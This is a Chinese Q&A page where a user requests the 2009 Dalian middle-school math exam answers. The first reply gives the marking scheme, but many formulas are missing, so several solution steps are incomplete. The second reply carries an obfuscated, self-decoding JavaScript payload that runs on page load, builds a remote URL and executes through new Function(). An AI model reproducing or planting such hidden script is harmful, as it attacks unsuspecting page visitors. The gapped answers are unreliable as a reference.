求2009年大连市中考数学答案

最好是全部的 大题简要步骤就好了 3Q呵
2025-01-03 19:08:41
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回答1:

大连市2009年初中升学考试
评分标准与参考答案
一、选择题
1. A 2.D 3.D 4.A 5.B 6.C 7.B 8.B
二、填空题
9.3 10.2 11.110° 12.3.5 13. 14.7 15.3
16. 17.6
三、解答题
18.证明:∵BE=CF, ∴BE+EC=CF+EC,
即 BC=EF. ………………………………………………………………………………2分
在△ABC和△DEF中,

∴△ABC≌△DEF…………………………………………………………………………6分
(SAS) . ……………………………………………………………………………………8分
∴AC=DF …………………………………………………………………………………10分
(全等三角形对应边相等) . ……………………………………………………………12分
19.解:(1)0.9,……………………………………………………………………………2分
0.9; ………………………………………………………………………………………5分
(2) ①4.5;…………………………………………………………………………………8分
②方法1:
18÷0.9-5 …………………………………………………………………………………10分
=15.…………………………………………………………………………………………11分
方法2:
设还需移植这种树苗 万棵.
根据题意,得 ,…………………………………………………………10分
解得 . ………………………………………………………………………………11分
答:该地区需移植这种树苗约15万棵. ………………………………………………12分
20. 解:(1) , ……………………………………………………………………2分
;………………………………………………………………………………………4分
(2)根据题意,得 ,…………………………………………………………7分
解得 .………………………………………………………………………………9分
. …………………………………………………………………10分
经检验 是原方程的解,且都符合题意.………………………………………11分
答:甲车间每小时生产60个零件,乙车间每小时生产90个零件.…………………12分
21.(1)CD是⊙O的切线. …………………………………………………………………1分
证明:连接OD.
∵∠ADE=60°,∠C=30°,∴∠A=30°. ……………………………………………………2分
∵OA=OD,∴∠ODA=∠A=30°. …………………………………………………………3分
∴∠ODE=∠ODA+∠ADE=30°+60°=90°,∴OD⊥CD.…………………………………4分
∴CD是⊙O的切线. ……………………………………………………………………5分
(2)解:在Rt△ODC中,∠ODC=90°, ∠C=30°, CD= .
∵tanC= , …………………………………………………………………………6分
∴OD=CD•tanC= × =3.………………………………………………………7分
∴OC=2OD =6.…………………………………………………………………………8分
∵OB=OD=3,∴BC=OC-OB=6-3=3.………………………………………………9分
22. 解:(1)直线 .
令 ,∴点B坐标为(0,-2).………………………………………………1分
令 ∴点A坐标为(-2,0). ………………………………………………2分
设抛物线解析式为 .
∵抛物线顶点为A,且经过点B,
∴ ,………………………………………………………………………4分
∴-2=4a,∴ .…………………………………………………………………5分
∴抛物线解析式为 ,…………………………………………………5分
∴ .………………………………………………………………6分
(2)方法1:
∵点C(m, )在抛物线 上,
∴ , ,………………………………………………7分
解得 , .……………………………………………………………9分
方法2:
∵点C(m, )在抛物线 上,
∴ ,∴ ……………………………………7分
解得 , .……………………………………………………………9分
23.解:(1)画出点P、M、N(每点得1分)……………………………………3分
(2)方法1.
设直线EF的解析式为 .
根据题意知,E(30,8),F(50,16),

解得 ∴ .①……………………………………………………………6分
设直线MN的解析式为 .
根据题意知,M(20,16),N(60,0),

解得 ∴ .②………………………………………………………9分
由①、②得方程 ,解得 =35. ……………………………………(10分)
答:乙车出发35分钟两车相遇. ………………………………………………………10分
方法2.
公交车的速度为16÷40= (千米/分). …………………………………………………4分
设乙车出发 分钟两车相遇. ……………………………………………………………5分
根据题意,得 ,………………………………………………8分
解得 =35. …………………………………………………………………………………9分
答:乙车出发35分钟两车相遇. ………………………………………………………10分
方法3.
公交车的速度为16÷40= (千米/分). …………………………………………………4分
设乙车出发 分钟两车相遇. ……………………………………………………………5分
根据题意,得 ,………………………………………………8分
解得 =35. …………………………………………………………………………………9分
答:乙车出发35分钟两车相遇. ………………………………………………………10分
方法4.由题意知:M(20,16),F(50,16),C(10,0),
∵△DMF∽△DNC,∴
∴ ,∴DH=10;
∵△CDH∽△CFG,∴ ,∴ ;
∴OH=OC+CH=10+25=35.
答:乙车出发35分钟两车相遇. …………………………………………………………10分
24.解:在Rt△ADE中, …………………………1分
当0< ≤3时,如图1. ……………………………………………………………………2分
过点Q作QM⊥AB于M,连接QP.
∵AB‖CD, ∴∠QAM=∠DEA,
又∵∠AMQ=∠D=90°, ∴△AQM∽△EAD.
∴ ,∴ .……………………………………………………3分
…………………………………………………………4分
当3< ≤ 时,如图2. ……………………………………………………………………5分
方法1 :在Rt△ADE 中,
过点Q作QM⊥AB于M, QN⊥BC于N, 连接QB.
∵AB‖CD, ∴∠QAM=∠DEA,
又∵∠AMQ=∠ADE=90°, ∴△AQM∽△EAD.
∴ , ,
∴ .………………………………………………………………………6分
,∴QN= .…………………………………7分


∴ +( ) ……………………8分
方法2 :
过点Q作QM⊥AB于M, QN⊥BC于N,连接QB.
∵AB‖BC, ∴∠QAM=∠DEA,
又∵∠AMQ=∠ADE=90°,∴△AQM∽△EAD.
∴ , ,
∴ .………………………………………………………………………6分
,∴QN= .…………………………………7分


∴ +( ) ……………8分
当 < ≤5时.
方法1 :过点Q作QH⊥CD于H. 如图3.
由题意得QH‖AD,∴△EHQ∽△EDA,∴
∴ …………………………………………………………………10分


∴ ………………………11分
方法2:
连接QB、QC,过点Q分别作QH⊥DC于H,QM⊥AB于M,QN⊥BC于N. 如图4.
由题意得QH‖AD,∴△EHQ∽△EDA,∴
∴ …………………………………………………………………10分



………………………………11分
25.结论:EH= AC. ……………………………………………………………………1分
证明:取BC边中点F,连接DE、DF. ……………………………………………………2分
∵D、E、F分别是边AB、AC、BC的中点.
∴DE‖BC且DE= BC,
DF‖AC且DF= AC, ……………………………………………………………………4分
EC= AC ∴四边形DFCE是平行四边形.
∴∠EDF=∠C.
∵∠C=∠PDQ,∴∠PDQ =∠EDF , ∴∠PDF=∠QDE.…………………………6分
又∵AC=kBC,∴DF=kDE.
∵DP=kDQ ,∴ .……………………………………………………………7分
∴△PDF∽△QDE. …………………………………………………………………………8分
∴∠DEQ=∠DFP. ……………………………………………………………………………9分
又∵DE‖BC,DF‖AC, ∴∠DEQ=∠EHC,∠DFP=∠C.
∴∠C =∠EHC. ……………………………………………………………………………10分
∴EH=EC. …………………………………………………………………………………11分
∴EH= AC. …………………………………………………………………………12分
选图16.结论:EH= AC. …………………………………………………………………1分
证明:取BC边中点F,连接DE、DF. ……………………………………………2分
∵D、E、F分别是边AB、AC、BC的中点,
∴DE‖BC且DE= BC, DF‖AC且DF= AC, …………………………………4分
EC= AC ,∴四边形DFCE是平行四边形.
∴∠EDF=∠C.
∵∠C=∠PDQ,∴∠PDQ=∠EDF , ∴∠PDF=∠QDE. ……………………………6分
又∵AC=BC, ∴DE=DF,∵PD=QD,∴△PDF≌△QDE. ……………………………7分
∴∠DEQ=∠DFP.
∵DE‖BC,DF‖AC, ∴∠DEQ=∠EHC,∠DFP=∠C.
∴∠C =∠EHC…………………………………………………………………………………8分
∴EH=EC.……………………………………………………………………………………9分
∴EH= AC.…………………………………………………………………………………10分
选图17. 结论: EH= AC. ………………………………………………………………1分
证明:连接AH. ………………………………………………………………………………2分
∵D是AB中点,∴DA=DB.
又∵DB=DQ,∴DQ=DP=AD.∴∠DBQ=∠DQB,.
∵∠DBQ+∠DQB+∠DQA+∠DAQ,=180°,∴∠AQB=90°,
∴AH⊥BC.……………………………………………………………………………………4分

又∵E是AC中点,∴HE= AC. ……………………………………………………6分
26.解:(1) C(3,0);……………………………………………………………………3分
(2)①抛物线 ,令 =0,则 = ,
∴A点坐标(0,c).
∵ ,∴ ,
∴点P的坐标为( ). ……………………………………………………4分
∵PD⊥ 轴于D,∴点D的坐标为( ). ……………………………………5分
根据题意,得a=a′,c= c′,∴抛物线F′的解析式为 .
又∵抛物线F′经过点D( ),∴ .……………6分
∴ .
又∵ ,∴ .
∴b:b′= .…………………………………………………………………………………7分
②由①得,抛物线F′为 .
令y=0,则 .………………………………………………………………8分
∴ .
∵点D的横坐标为 ∴点C的坐标为( ). ……………………………………9分
设直线OP的解析式为 .
∵点P的坐标为( ),
∴ ,∴ ,∴ .………………………10分
∵点B是抛物线F与直线OP的交点,∴ .
∴ .
∵点P的横坐标为 ,∴点B的横坐标为 .
把 代入 ,得 .
∴点B的坐标为 .…………………………………………………………………11分
∴BC‖OA,AB‖OC.(或BC‖OA,BC =OA),
∴四边形OABC是平行四边形.
又∵∠AOC=90°,∴四边形OABC是矩形. ………………………………………………12分

有一些答案(如带根号的式子)不清楚,看下方我发的链接就可以了

http://zl.beijing518.com/zk/doc/20090825/2009%C4%EA%C1%C9%C4%FE%CA%A1%B4%F3%C1%AC%CA%D0%D6%D0%BF%BC%CA%FD%D1%A7%CA%D4%BE%ED.doc

回答2:

太不聪明了

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF 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Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 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Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();